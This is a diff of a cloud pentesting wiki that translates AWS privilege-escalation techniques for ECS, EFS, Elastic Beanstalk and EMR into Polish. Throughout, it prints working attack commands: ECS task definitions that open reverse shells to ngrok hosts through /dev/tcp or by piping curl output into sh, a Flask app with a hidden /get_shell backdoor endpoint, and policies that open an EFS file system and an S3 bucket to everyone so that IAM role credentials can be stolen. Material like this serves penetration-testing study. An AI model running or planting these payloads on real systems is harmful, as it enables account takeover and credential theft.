**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ - --task-role-arn "$ECS_ROLE_ARN" \ - --network-mode "awsvpc" \ - --cpu 256 --memory 512\ - --requires-compatibilities "[\"FARGATE\"]" \ - --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" # Run the task creating a service aws ecs create-service --service-name exfiltration \ - --task-definition iam_exfiltration \ - --desired-count 1 \ - --cluster "$CLUSTER_ARN" \ - --launch-type FARGATE \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +W rzeczywistości, tylko z tymi uprawnieniami możliwe jest użycie nadpisania do wykonania dowolnych poleceń w kontenerze z dowolną rolą za pomocą czegoś takiego: ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\ +To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli nie ma roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę IAM EC2** oraz **inne role kontenerów ECS** działających na węźle.\ +Możesz nawet **zmusić inne zadania do uruchomienia wewnątrz instancji EC2**, którą przejmujesz, aby ukraść ich poświadczenia (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)). > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> Ten atak jest możliwy tylko wtedy, gdy **klaster ECS używa instancji EC2**, a nie Fargate. ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +Atakujący z **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować do niego przypisaną rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\ +Jednakże, aby to zrobić, instancja kontenera musi działać z **agentem ExecuteCommand** (który domyślnie nie jest włączony). -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +W związku z tym atakujący może spróbować: +- **Spróbować uruchomić polecenie** w każdym działającym kontenerze ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- Jeśli ma **`ecs:RunTask`**, uruchom zadanie za pomocą `aws ecs run-task --enable-execute-command [...]` +- Jeśli ma **`ecs:StartTask`**, uruchom zadanie za pomocą `aws ecs start-task --enable-execute-command [...]` +- Jeśli ma **`ecs:CreateService`**, utwórz usługę za pomocą `aws ecs create-service --enable-execute-command [...]` +- Jeśli ma **`ecs:UpdateService`**, zaktualizuj usługę za pomocą `aws ecs update-service --enable-execute-command [...]` -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +Możesz znaleźć **przykłady tych opcji** w **poprzednich sekcjach privesc ECS**. -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**Potencjalny wpływ:** Privesc do innej roli przypisanej do kontenerów. ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +Sprawdź na **stronie privesc ssm**, jak możesz nadużyć tej uprawnienia do **privesc do ECS**: {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +Sprawdź na **stronie privesc ec2**, jak możesz nadużyć tych uprawnień do **privesc do ECS**: {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: Przetestuj to +Atakujący z uprawnieniami `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` i `ecs:DescribeTaskSets` może **utworzyć złośliwy zestaw zadań dla istniejącej usługi ECS i zaktualizować główny zestaw zadań**. To pozwala atakującemu na **wykonywanie dowolnego kodu w ramach usługi**. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**Potencjalny wpływ**: Wykonanie dowolnego kodu w dotkniętej usłudze, co może wpłynąć na jej funkcjonalność lub wyciek wrażliwych danych. -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## Odniesienia - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..61f7b54d4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +Więcej **informacji o EFS** w: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +Pamiętaj, że aby zamontować EFS, musisz znajdować się w podsieci, w której EFS jest udostępniony i mieć do niego dostęp (grupy zabezpieczeń). Jeśli to się dzieje, domyślnie zawsze będziesz mógł go zamontować, jednak jeśli jest chroniony przez polityki IAM, musisz mieć dodatkowe uprawnienia wymienione tutaj, aby uzyskać do niego dostęp. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +Dzięki któremuś z tych uprawnień atakujący może **zmienić politykę systemu plików**, aby **dać ci dostęp** do niego, lub po prostu **usunąć ją**, aby **przyznać domyślny dostęp**. +Aby usunąć politykę: ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +Aby to zmienić: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +Dzięki temu uprawnieniu atakujący będzie mógł **zamontować EFS**. Jeśli uprawnienie do zapisu nie jest domyślnie przyznawane wszystkim, którzy mogą zamontować EFS, będzie miał tylko **dostęp do odczytu**. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +Dodatkowe uprawnienia `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:ClientWrite` mogą być używane do **zapisu** wewnątrz systemu plików po jego zamontowaniu oraz do **dostępu** do tego systemu plików **jako root**. -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików. ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +Jeśli atakujący znajduje się w **podsieci**, w której **nie ma celu montowania** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w systemie plików. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +W scenariuszu, w którym atakujący odkrywa, że EFS ma punkt montowania w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, mógłby po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**: ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..0a938f750 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -4,19 +4,18 @@ ## Elastic Beanstalk -More **info about Elastic Beanstalk** in: +Więcej **informacji o Elastic Beanstalk** w: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Aby wykonać wrażliwe działania w Beanstalk, będziesz potrzebować **wielu wrażliwych uprawnień w wielu różnych usługach**. Możesz sprawdzić na przykład uprawnienia przyznane do **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`, uprawnienia do zapisu w S3 i wiele innych +Mając **uprawnienia do zapisu w koszyku S3** zawierającym **kod** środowiska oraz uprawnienia do **przebudowy** aplikacji (potrzebne jest `elasticbeanstalk:RebuildEnvironment` i kilka innych związanych z `S3`, `EC2` i `Cloudformation`), możesz **zmodyfikować** **kod**, **przebudować** aplikację, a następnym razem, gdy uzyskasz dostęp do aplikacji, **wykona ona twój nowy kod**, co pozwala atakującemu na kompromitację aplikacji i poświadczeń roli IAM. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i inne... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +Wymienione oraz kilka uprawnień **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw. +- Utwórz aplikację AWS Elastic Beanstalk: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- Utwórz środowisko AWS Elastic Beanstalk ([**obsługiwane platformy**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +Jeśli środowisko zostało już utworzone i **nie chcesz tworzyć nowego**, możesz po prostu **zaktualizować** istniejące. -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- Spakuj kod aplikacji i zależności do pliku ZIP: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- Prześlij plik ZIP do koszyka S3: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- Utwórz wersję aplikacji AWS Elastic Beanstalk: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- Wdróż wersję aplikacji do swojego środowiska AWS Elastic Beanstalk: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chciałbyś uruchomić w **ofierze**, postępując zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**: {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +Gdy masz **swoje własne środowisko Beanstalk uruchomione** z twoim rev shellem, czas na **migrację** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**): ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..b07ebb97a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -More **info about EMR** in: +Więcej **informacji o EMR** w: {{#ref}} ../aws-services/aws-emr-enum.md @@ -12,57 +12,51 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +Atakujący z tymi uprawnieniami może **uruchomić nowy klaster EMR, dołączając role EC2** i próbować ukraść jego poświadczenia.\ +Należy zauważyć, że aby to zrobić, musisz **znać jakiś klucz prywatny ssh zaimportowany do konta** lub zaimportować jeden, i być w stanie **otworzyć port 22 w węźle głównym** (możesz być w stanie to zrobić za pomocą atrybutów `EmrManagedMasterSecurityGroup` i/lub `ServiceAccessSecurityGroup` w `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` +Zauważ, jak **rola EMR** jest określona w `--service-role`, a **rola ec2** jest określona w `--ec2-attributes` wewnątrz `InstanceProfile`. Jednak ta technika pozwala tylko na kradzież poświadczeń roli EC2 (ponieważ połączysz się przez ssh), ale nie roli IAM EMR. -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. - -**Potential Impact:** Privesc to the EC2 service role specified. +**Potencjalny wpływ:** Privesc do roli serwisowej EC2 określonej. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +Dzięki tym uprawnieniom atakujący może przejść do **konsoli AWS**, utworzyć Notatnik i uzyskać do niego dostęp, aby ukraść rolę IAM. > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. +> Nawet jeśli przypiszesz rolę IAM do instancji notatnika, w moich testach zauważyłem, że mogłem ukraść poświadczenia zarządzane przez AWS, a nie poświadczenia związane z rolą IAM. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Potencjalny wpływ:** Privesc do zarządzanej roli AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nim 